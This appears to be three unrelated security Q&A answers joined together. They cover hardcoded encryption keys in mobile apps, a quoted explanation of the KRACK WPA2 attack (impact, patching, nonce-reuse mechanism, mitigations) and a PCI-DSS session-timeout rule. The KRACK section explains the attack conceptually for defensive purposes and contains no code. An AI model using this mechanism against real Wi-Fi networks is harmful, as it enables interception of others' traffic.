The threat model here really depends on what type of data these apps are protecting.  If it's your preference to receive notifications... then maybe you don't care.  If it's private conversations, contacts, messages, pictures, etc then this would be a larger threat.

  By necessity, the app itself has the key to encrypt and decrypt.

Not necessarily.  There are multiple ways that the app could encrypt private data securely without needing a hardcoded key.  The app could require a user password that generates the encryption key or decrypts a private key that's then used to decrypt data.  Or the apps could just use Android's secure storage since you know... it's provided, documented, and easy.

1 I'm not trying to say that hardcoded keys are a good idea or don't affect security.  I'm just trying to point out that the level of difficulty of exploiting it would be high.


Citing the relevant parts from https://www.krackattacks.com:

Who is vulnerable?

Both clients and access points are listed in the paper as being vulnerable. See the tables 1 and 2 on pages 5 and 8 for examples of vulnerable systems, and table 3 on page 12 for an overview of which packets can be decrypted.

  The weaknesses are in the Wi-Fi standard itself, and not in individual products or implementations. Therefore, any correct implementation of WPA2 is likely affected. [...] the attack works against personal and enterprise Wi-Fi networks, against the older WPA and the latest WPA2 standard, and even against networks that only use AES.

What is the impact?

  adversaries can use this attack to decrypt packets sent by clients, allowing them to intercept sensitive information such as passwords or cookies.

  The ability to decrypt packets can be used to decrypt TCP SYN packets. This allows an adversary to [...] hijack TCP connections. [An adversary can thus inject] malicious data into unencrypted HTTP connections.

  If the victim uses either the WPA-TKIP or GCMP encryption protocol, instead of AES-CCMP, the impact is especially catastrophic. Against these encryption protocols, nonce reuse enables an adversary to not only decrypt, but also to forge and inject packets.

  our attacks do not recover the password of the Wi-Fi network

(Emphases mine.)

Can we patch it (and will we have incompatible APs/clients)?

There is a fix for both APs and clients, it doesn't matter which one you patch first.

  implementations can be patched in a backwards-compatible manner [...] To prevent the attack, users must update affected products as soon as security updates become available. [...] a patched client can still communicate with an unpatched access point, and vice versa.

However, both client and router must be patched (or confirmed secure):

  both the client and AP must be patched to defend against all attacks [...] it might be that your router does not require security updates. We strongly advise you to contact your vendor for more details [...] For ordinary home users, your priority should be updating clients such as laptops and smartphones.

How does it work?

  When a client joins a network, it [...] will install this key after receiving message 3 of the 4-way handshake. Once the key is installed, it will be used to encrypt normal data frames using an encryption protocol. However, because messages may be lost or dropped, the Access Point (AP) will retransmit message 3 if it did not receive an appropriate response as acknowledgment. [...] Each time it receives this message, it will reinstall the same encryption key, and thereby reset the incremental transmit packet number (nonce) and receive replay counter used by the encryption protocol. We show that an attacker can force these nonce resets by collecting and replaying retransmissions of message 3 of the 4-way handshake. By forcing nonce reuse in this manner, the encryption protocol can be attacked, e.g., packets can be replayed, decrypted, and/or forged.

Is there anything a wireless network owner can do apart from contact their vendor for a patch?

As mentioned, WPA-TKIP or GCMP are slightly worse, so make sure you use AES-CCMP for the lowest impact -- if your router allows you to choose that (many don't). Other than that, you can't truly mitigate it on a protocol level yourself. Just update as soon as possible.

Generally, use HTTPS for anything that needs to be secure (you should do this anyway, also over ethernet, but especially over Wi-Fi now), use a VPN as an extra layer, etc.


PCI-DSS says the following:

  8.1.8 If a session has been idle for more than 15 minutes, require the user to re-authenticate to re-activate the terminal or session.